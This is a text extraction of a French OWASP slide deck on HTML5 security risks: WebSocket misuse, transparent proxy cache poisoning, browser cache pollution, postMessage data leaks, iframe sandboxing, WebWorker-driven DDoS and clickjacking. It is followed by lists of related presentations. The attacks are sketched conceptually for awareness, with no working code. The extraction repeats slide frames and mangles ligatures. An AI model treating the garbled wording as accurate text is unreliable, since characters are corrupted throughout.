  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                    25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                    25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                    25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                    25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                    25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                    25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  

                                                                                           HTTP/1.1	
  200	
  Ok




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                                            25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  

                                                                                           HTTP/1.1	
  200	
  Ok




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                                            25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  

                                                                                           HTTP/1.1	
  200	
  Ok
                                                                                                                   Upgrade	
  WebSocket




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                                             25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  

                                                                                           HTTP/1.1	
  200	
  Ok
                                                                                                                   Upgrade	
  WebSocket




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                                             25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  

                                                                                             HTTP/1.1	
  200	
  Ok
                                                                                                                     Upgrade	
  WebSocket
                                                                                           WebSocket	
  Protocol	
  Handshake




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                                               25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  

                                                                                             HTTP/1.1	
  200	
  Ok
                                                                                                                     Upgrade	
  WebSocket
                                                                                           WebSocket	
  Protocol	
  Handshake




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                                               25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  

                                                                                                HTTP/1.1	
  200	
  Ok
                                                                                                                             Upgrade	
  WebSocket
                                                                                             WebSocket	
  Protocol	
  Handshake

                                                                                           Tunnel	
  TCP	
  Full	
  Duplex




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                                                       25

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
  domaines
                                  • Perme;rai	
  de	
  réduire	
  la	
  taille	
  du	
  contenu	
  
                                    transporté	
  ?
                                  •                                       	
  GET	
  /	
  HTTP/1.1	
  

                                                                                                HTTP/1.1	
  200	
  Ok
                                                                                                                             Upgrade	
  WebSocket
                                                                                             WebSocket	
  Protocol	
  Handshake

                                                                                           Tunnel	
  TCP	
  Full	
  Duplex




  c’est	
  quand	
  même	
  un	
  peu	
  sale	
  de	
  se	
  servir	
  des	
  WebSockets
                                                                                                                                                       25

Friday, April 5, 13
Websocket	
  Menaces




                      • Parmi	
  les	
  a;aques	
  possibles,	
  certaines	
  sont	
  
                        triviales:	
  
                        • Shell	
  Distant	
  
                        • Botnet	
  Web	
  
                           • via	
  un	
  XSS	
  ou	
  tout	
  simplement	
  en	
  se	
  connectant	
  à	
  
                             un	
  site	
  Web.
                        • Port	
  scanning...


                                                                                                               26

Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  




                                                                                  27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  




                                                                                  27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  




                                                                                  27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  




                                                                                  27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                  	
  GET	
  /	
  HTTP/1.1	
  




                                                                                                 27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                  	
  GET	
  /	
  HTTP/1.1	
  




                                                                                                 27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                              	
  GET	
  /	
  HTTP/1.1	
  

                                                      HTTP/1.1	
  200	
  Ok




                                                                                                             27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                              	
  GET	
  /	
  HTTP/1.1	
  

                                                      HTTP/1.1	
  200	
  Ok




                                                                                                             27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                              	
  GET	
  /	
  HTTP/1.1	
  

                                                      HTTP/1.1	
  200	
  Ok
                                                                              Upgrade	
  WebSocket




                                                                                                             27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                              	
  GET	
  /	
  HTTP/1.1	
  

                                                      HTTP/1.1	
  200	
  Ok
                                                                              Upgrade	
  WebSocket




                                                                                                             27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                               	
  GET	
  /	
  HTTP/1.1	
  

                                                       HTTP/1.1	
  200	
  Ok
                                                                               Upgrade	
  WebSocket
                                                     WebSocket	
  Protocol	
  Handshake




                                                                                                              27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                               	
  GET	
  /	
  HTTP/1.1	
  

                                                       HTTP/1.1	
  200	
  Ok
                                                                               Upgrade	
  WebSocket
                                                     WebSocket	
  Protocol	
  Handshake




                                                                                                              27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                               	
  GET	
  /	
  HTTP/1.1	
  

                                                       HTTP/1.1	
  200	
  Ok
                                                                               Upgrade	
  WebSocket
                                                     WebSocket	
  Protocol	
  Handshake




                                                                                                              27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                               	
  GET	
  /	
  HTTP/1.1	
  

                                                       HTTP/1.1	
  200	
  Ok
                                                                               Upgrade	
  WebSocket
                                                     WebSocket	
  Protocol	
  Handshake


                                                                	
  GET	
  /	
  HTTP/1.1
                                                                Host:	
  some.host.com	
  


                                                                                                              27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                               	
  GET	
  /	
  HTTP/1.1	
  

                                                       HTTP/1.1	
  200	
  Ok
                                                                               Upgrade	
  WebSocket
                                                     WebSocket	
  Protocol	
  Handshake


                                                                	
  GET	
  /	
  HTTP/1.1
                                                                Host:	
  some.host.com	
  


                                                                                                              27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
WebSocket



                                   • Empoisonnement	
  dransparent de	
  proxy
                                                 Proxy	
  T
                                                            e	
  cache	
  

                                                                               	
  GET	
  /	
  HTTP/1.1	
  

                                                       HTTP/1.1	
  200	
  Ok
                                                                               Upgrade	
  WebSocket
                                                     WebSocket	
  Protocol	
  Handshake


                                                                	
  GET	
  /	
  HTTP/1.1
                                                                Host:	
  some.host.com	
  
                                                                HTTP/1.1	
  200	
  Ok
                                                                Contenu	
  falsifié
                                                                                                              27



  Ca	
  me	
  rappelle	
  les	
  proxy	
  SFR...


Friday, April 5, 13
OffLine	
  Web	
  ApplicaBon


                                             <!DOCTYPE HTML>
                                             <html manifest="/cache.manifest">
                                             <body>


                                        • Possibilité	
  d’avoir	
  des	
  a;aques	
  de	
  Type	
  
                                          APT	
  ?
                                        • Possibilité	
  de	
  pollu>on	
  des	
  caches	
  de	
  
                                          navigateurs	
  (via	
  un	
  point	
  d’accès	
  
                                          malveillant);	
  meme	
  du	
  SSL




  Je	
  crois	
  que	
  Nicolas	
  a	
  un	
  bon	
  avis	
  sur	
  les	
  APT....
                                                                                                                   28

Friday, April 5, 13
WebMessage



                      • Possibilité	
  de	
  perte	
  de	
  données	
  sensibles	
  (si	
  
                        envoyées	
  à	
  une	
  “mauvaise	
  iframe”)
                                  postMessage()                        Page	
  du	
  site	
  “interne”




                                   <iframe	
  src=”outside.control”




                                                                                                         29

Friday, April 5, 13
Bac	
  a	
  sable	
  des	
  iframes


                                               <iframe sandbox="....."
                                               src="http://monsite.com/index.html"></iframe>



                                     • Par	
  défaut	
  si	
  rien	
  n’est	
  précisé	
  :	
  
                                     • Les	
  formulaires,	
  scripts	
  et	
  plug-­‐ins	
  sont	
  désac>vés.
                                     • Pas	
  d’accès	
  aux	
  éléments	
  stockés	
  en	
  local	
  
                                       (cookies,	
  sessionStorage,	
  localStorage).
                                     • Pas	
  d’AJAX	
  
                                     • Les	
  liens	
  ne	
  peuvent	
  cibler	
  d’autres	
  frames
                                     • Le	
  contenu	
  est	
  considéré	
  externe	
  (pas	
  d’accès	
  à	
  la	
  
                                       DOM)
  vous	
  saviez	
  que	
  les	
  bacs	
  a	
  sables	
  sont	
  remplacés	
  par	
  des	
  bacs	
  à	
  gravier	
  maintenant	
  ?	
  
                                                                                                                                                                                30

Friday, April 5, 13
Bac	
  a	
  sable	
  des	
  iframes




                                     • Lever	
  les	
  restric>ons	
  :	
  
                                                     • allow-­‐same-­‐origin	
  :	
  autorise	
  le	
  contenu	
  a	
  être	
  traité	
  
                                                       comme	
  de	
  la	
  même	
  origine	
  est	
  pas	
  externe
                                                     • allow-­‐top-­‐naviga>on	
  :	
  l’iframe	
  peut	
  accéder	
  à	
  la	
  
                                                       naviga>on	
  de	
  niveau	
  supérieur
                                                     • allow-­‐forms	
  :	
  autorise	
  les	
  formulaires
                                                     • allow-­‐	
  scripts	
  :	
  les	
  scripts	
  (hors	
  popup)	
  sont	
  autorisés
                                                                                                  Les	
  navigateurs	
  ne	
  supportent	
  pas	
  tous	
  ces	
  éléments	
  !


  tout	
  cela	
  pour	
  l’hygiène	
  alors	
  qu’on	
  nous	
  fais	
  passer	
  du	
  cheval	
  pour	
  du	
  boeuf	
  !	
  
                                                                                                                                                                                     31

Friday, April 5, 13
Autres	
  points	
  importants


                        • Les	
  longs	
  traitements	
  en	
  JavaScript	
  “plantaient”	
  les	
  navigateurs.	
  
                        • Les	
  WebWorkers	
  perme;ent	
  de	
  lancer	
  des	
  JavaScript	
  en	
  tache	
  
                          de	
  fond
                           – N’accèdent	
  pas	
  à	
  la	
  DOM	
  
                           – Accèdent	
  à	
  XHR,	
  objet	
  navigator,	
  cache,	
  lancement	
  d’autres	
  
                             WebWorkers...

                                                     DDOS	
  avec	
  CORS	
  &	
  WebWorkers

                                                     Calculs	
  distribués	
  (cf	
  Ravan)




  Bientot	
  la	
  fin
                                                                                                                   32

Friday, April 5, 13
Autres	
  points	
  importants


                        • Les	
  longs	
  traitements	
  en	
  JavaScript	
  “plantaient”	
  les	
  navigateurs.	
  
                        • Les	
  WebWorkers	
  perme;ent	
  de	
  lancer	
  des	
  JavaScript	
  en	
  tache	
  
                          de	
  fond
                           – N’accèdent	
  pas	
  à	
  la	
  DOM	
  
                           – Accèdent	
  à	
  XHR,	
  objet	
  navigator,	
  cache,	
  lancement	
  d’autres	
  
                             WebWorkers...

                                                     DDOS	
  avec	
  CORS	
  &	
  WebWorkers

                                                     Calculs	
  distribués	
  (cf	
  Ravan)




  Bientot	
  la	
  fin
                                                                                                                   32

Friday, April 5, 13
Autres	
  Points	
  importants



              • CSS3	
  introduit	
  de	
  nouvelles	
  capacités	
  à	
  injecter	
  
                du	
  code	
  JavaScript

                                                            Nouvelles	
  capacités	
  au	
  ClickJacking




  ou	
  facebook	
  jacking	
  ou	
  autre	
  jacking....
                                                                                                                33

Friday, April 5, 13
Conclusion


                    • Plein	
  de	
  nouvelles	
  API	
  interessantes	
  pour	
  le	
  
                      développeur(et	
  les	
  agences	
  Webs)

                                                                                               L’ouverture	
  se	
  fait	
  au	
  détriment	
  de	
  la	
  sécurité....(même	
  si	
  un	
  
                                                                                               accent	
  supplémentaire	
  a	
  été	
  mis	
  dessus	
  dans	
  les	
  Specs)
                                                                                              Une	
  surface	
  d’a;aque	
  accrue	
  (CORS,	
  Web/Storage|Socket|
                                                                                              Workers)
                                                                                              La	
  belle	
  part	
  au	
  JavaScript	
  (qui	
  peut	
  s’executer	
  sans	
  
                                                                                              consentement	
  u>lisateur)




  non,	
  non,	
  je	
  ne	
  fais	
  pas	
  que	
  >rer	
  sur	
  les	
  agences	
  Web...
                                                                                                                                                                                               34

Friday, April 5, 13
ww.html5test.com




  étonnant	
  le	
  cas	
  du	
  Blackberry	
  non	
  ?	
  
                                                                                 35

Friday, April 5, 13
ww.html5test.com




  étonnant	
  le	
  cas	
  du	
  Blackberry	
  non	
  ?	
  
                                                                                 35

Friday, April 5, 13
ww.html5test.com




  étonnant	
  le	
  cas	
  du	
  Blackberry	
  non	
  ?	
  
                                                                                 35

Friday, April 5, 13
ww.html5test.com




  étonnant	
  le	
  cas	
  du	
  Blackberry	
  non	
  ?	
  
                                                                                 35

Friday, April 5, 13
ww.html5test.com




  étonnant	
  le	
  cas	
  du	
  Blackberry	
  non	
  ?	
  
                                                                                 35

Friday, April 5, 13
ww.html5test.com




  étonnant	
  le	
  cas	
  du	
  Blackberry	
  non	
  ?	
  
                                                                                 35

Friday, April 5, 13
ww.html5test.com




  étonnant	
  le	
  cas	
  du	
  Blackberry	
  non	
  ?	
  
                                                                                 35

Friday, April 5, 13
Quelques	
  Sites	
  a	
  suivre..


                • h;p://www.w3.org/TR/html5/	
  :	
  le	
  standard
                • h;ps://www.owasp.org/index.php/
                  HTML5_Security_Cheat_Sheet	
  
                • h;p://www.caniuse.com	
  :	
  liste	
  des	
  différents	
  supports	
  d’API	
  
                  par	
  navigateur
                • h;p://www.html5test.com	
  :	
  le	
  support	
  de	
  VOTRE	
  
                  navigateur	
  vis	
  a	
  vis	
  de	
  la	
  norme.
                • h;p://html5readiness.com/	
  :	
  L’état	
  du	
  support	
  des	
  APis	
  par	
  
                  les	
  navigateurs


  Bon	
  ben	
  voila,	
  c’est	
  la	
  fin,	
  merci	
  d’être	
  encore	
  présent	
  ;)
                                                                                                                             36

Friday, April 5, 13
@SPoint

                      sebas>en.gioria@owasp.org




Friday, April 5, 13
@SPoint

                                 sebas>en.gioria@owasp.org


     Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]




Friday, April 5, 13

Mais conteúdo relacionado

Destaque

Servicios Y Productos De Fut5cr
Servicios Y Productos De Fut5crServicios Y Productos De Fut5cr
Servicios Y Productos De Fut5crFut5cr
 
La veille de Né Kid du 06.07.11 : la mort du pc
La veille de Né Kid du 06.07.11 : la mort du pcLa veille de Né Kid du 06.07.11 : la mort du pc
La veille de Né Kid du 06.07.11 : la mort du pcNé Kid
 
Flisol 2010 open street map - mapeando colaborativamente [2010-03]
Flisol 2010   open street map - mapeando colaborativamente [2010-03]Flisol 2010   open street map - mapeando colaborativamente [2010-03]
Flisol 2010 open street map - mapeando colaborativamente [2010-03]crio_
 
Bloque Academico
Bloque AcademicoBloque Academico
Bloque Academicoalinarez
 
Shirley brenes beita pp
Shirley brenes beita ppShirley brenes beita pp
Shirley brenes beita ppsirikuta
 
Fondo de Control Social Ciudadanos al Cuidado de lo Público. Nodo Sur Occiden...
Fondo de Control Social Ciudadanos al Cuidado de lo Público. Nodo Sur Occiden...Fondo de Control Social Ciudadanos al Cuidado de lo Público. Nodo Sur Occiden...
Fondo de Control Social Ciudadanos al Cuidado de lo Público. Nodo Sur Occiden...TransparenciaporColombia
 
Fotoreportaje instalaciones FAME
Fotoreportaje instalaciones FAMEFotoreportaje instalaciones FAME
Fotoreportaje instalaciones FAMEYerko Robledo
 
La veille de nekid du 05.05.11 le mass mingling
La veille de nekid du 05.05.11   le mass minglingLa veille de nekid du 05.05.11   le mass mingling
La veille de nekid du 05.05.11 le mass minglingNé Kid
 
La veille de Né Kid du 29.06.11 : Cannes 2011
La veille de Né Kid du 29.06.11 : Cannes 2011La veille de Né Kid du 29.06.11 : Cannes 2011
La veille de Né Kid du 29.06.11 : Cannes 2011Né Kid
 
Ccf éco droit exemples de sujets possibles
Ccf éco droit exemples de sujets possiblesCcf éco droit exemples de sujets possibles
Ccf éco droit exemples de sujets possibles0596957s
 
Guide Parés Pour les vacances
Guide Parés Pour les vacancesGuide Parés Pour les vacances
Guide Parés Pour les vacancesCARGLASS® France
 
Impôts 2011 Genève
Impôts 2011 GenèveImpôts 2011 Genève
Impôts 2011 GenèveEricDuvoisin
 
Intervención de Transparencia por Colombia en Taller de capacitación sobre la...
Intervención de Transparencia por Colombia en Taller de capacitación sobre la...Intervención de Transparencia por Colombia en Taller de capacitación sobre la...
Intervención de Transparencia por Colombia en Taller de capacitación sobre la...TransparenciaporColombia
 
Paredes de bruselas
Paredes de bruselasParedes de bruselas
Paredes de bruselasJNR
 

Destaque (20)

Comunicación
ComunicaciónComunicación
Comunicación
 
Servicios Y Productos De Fut5cr
Servicios Y Productos De Fut5crServicios Y Productos De Fut5cr
Servicios Y Productos De Fut5cr
 
La veille de Né Kid du 06.07.11 : la mort du pc
La veille de Né Kid du 06.07.11 : la mort du pcLa veille de Né Kid du 06.07.11 : la mort du pc
La veille de Né Kid du 06.07.11 : la mort du pc
 
Flisol 2010 open street map - mapeando colaborativamente [2010-03]
Flisol 2010   open street map - mapeando colaborativamente [2010-03]Flisol 2010   open street map - mapeando colaborativamente [2010-03]
Flisol 2010 open street map - mapeando colaborativamente [2010-03]
 
Bloque Academico
Bloque AcademicoBloque Academico
Bloque Academico
 
DeciLogic Report
DeciLogic ReportDeciLogic Report
DeciLogic Report
 
Shirley brenes beita pp
Shirley brenes beita ppShirley brenes beita pp
Shirley brenes beita pp
 
Fonctionnaire
FonctionnaireFonctionnaire
Fonctionnaire
 
Seminario 2
Seminario 2Seminario 2
Seminario 2
 
Fondo de Control Social Ciudadanos al Cuidado de lo Público. Nodo Sur Occiden...
Fondo de Control Social Ciudadanos al Cuidado de lo Público. Nodo Sur Occiden...Fondo de Control Social Ciudadanos al Cuidado de lo Público. Nodo Sur Occiden...
Fondo de Control Social Ciudadanos al Cuidado de lo Público. Nodo Sur Occiden...
 
Le Basketball
Le BasketballLe Basketball
Le Basketball
 
Fotoreportaje instalaciones FAME
Fotoreportaje instalaciones FAMEFotoreportaje instalaciones FAME
Fotoreportaje instalaciones FAME
 
La veille de nekid du 05.05.11 le mass mingling
La veille de nekid du 05.05.11   le mass minglingLa veille de nekid du 05.05.11   le mass mingling
La veille de nekid du 05.05.11 le mass mingling
 
La veille de Né Kid du 29.06.11 : Cannes 2011
La veille de Né Kid du 29.06.11 : Cannes 2011La veille de Né Kid du 29.06.11 : Cannes 2011
La veille de Né Kid du 29.06.11 : Cannes 2011
 
Lycéens exploitez au mieux les reseaux sociaux
Lycéens exploitez au mieux les reseaux sociauxLycéens exploitez au mieux les reseaux sociaux
Lycéens exploitez au mieux les reseaux sociaux
 
Ccf éco droit exemples de sujets possibles
Ccf éco droit exemples de sujets possiblesCcf éco droit exemples de sujets possibles
Ccf éco droit exemples de sujets possibles
 
Guide Parés Pour les vacances
Guide Parés Pour les vacancesGuide Parés Pour les vacances
Guide Parés Pour les vacances
 
Impôts 2011 Genève
Impôts 2011 GenèveImpôts 2011 Genève
Impôts 2011 Genève
 
Intervención de Transparencia por Colombia en Taller de capacitación sobre la...
Intervención de Transparencia por Colombia en Taller de capacitación sobre la...Intervención de Transparencia por Colombia en Taller de capacitación sobre la...
Intervención de Transparencia por Colombia en Taller de capacitación sobre la...
 
Paredes de bruselas
Paredes de bruselasParedes de bruselas
Paredes de bruselas
 

Mais de Sébastien GIORIA

OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014Sébastien GIORIA
 
Analyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceAnalyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceSébastien GIORIA
 
2014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.22014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.2Sébastien GIORIA
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouseSébastien GIORIA
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonSébastien GIORIA
 
2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pchSébastien GIORIA
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013Sébastien GIORIA
 
OWASP, the life and the universe
OWASP, the life and the universeOWASP, the life and the universe
OWASP, the life and the universeSébastien GIORIA
 
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)Sébastien GIORIA
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécuritéSébastien GIORIA
 
2013 02-27-owasp top10 javascript
 2013 02-27-owasp top10 javascript 2013 02-27-owasp top10 javascript
2013 02-27-owasp top10 javascriptSébastien GIORIA
 
2012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v012012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v01Sébastien GIORIA
 
OWASP Mobile Top10 - Les 10 risques sur les mobiles
OWASP Mobile Top10 -  Les 10 risques sur les mobilesOWASP Mobile Top10 -  Les 10 risques sur les mobiles
OWASP Mobile Top10 - Les 10 risques sur les mobilesSébastien GIORIA
 

Mais de Sébastien GIORIA (20)

OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
 
Analyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceAnalyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSource
 
2014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.22014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.2
 
SonarQube et la Sécurité
SonarQube et la SécuritéSonarQube et la Sécurité
SonarQube et la Sécurité
 
2014 09-04-pj
2014 09-04-pj2014 09-04-pj
2014 09-04-pj
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
 
Présentation au CRI-Ouest
Présentation au CRI-OuestPrésentation au CRI-Ouest
Présentation au CRI-Ouest
 
2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013
 
OWASP, the life and the universe
OWASP, the life and the universeOWASP, the life and the universe
OWASP, the life and the universe
 
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité
 
2013 02-27-owasp top10 javascript
 2013 02-27-owasp top10 javascript 2013 02-27-owasp top10 javascript
2013 02-27-owasp top10 javascript
 
Secure Coding for Java
Secure Coding for JavaSecure Coding for Java
Secure Coding for Java
 
2012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v012012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v01
 
2012 07-05-spn-sgi-v1-lite
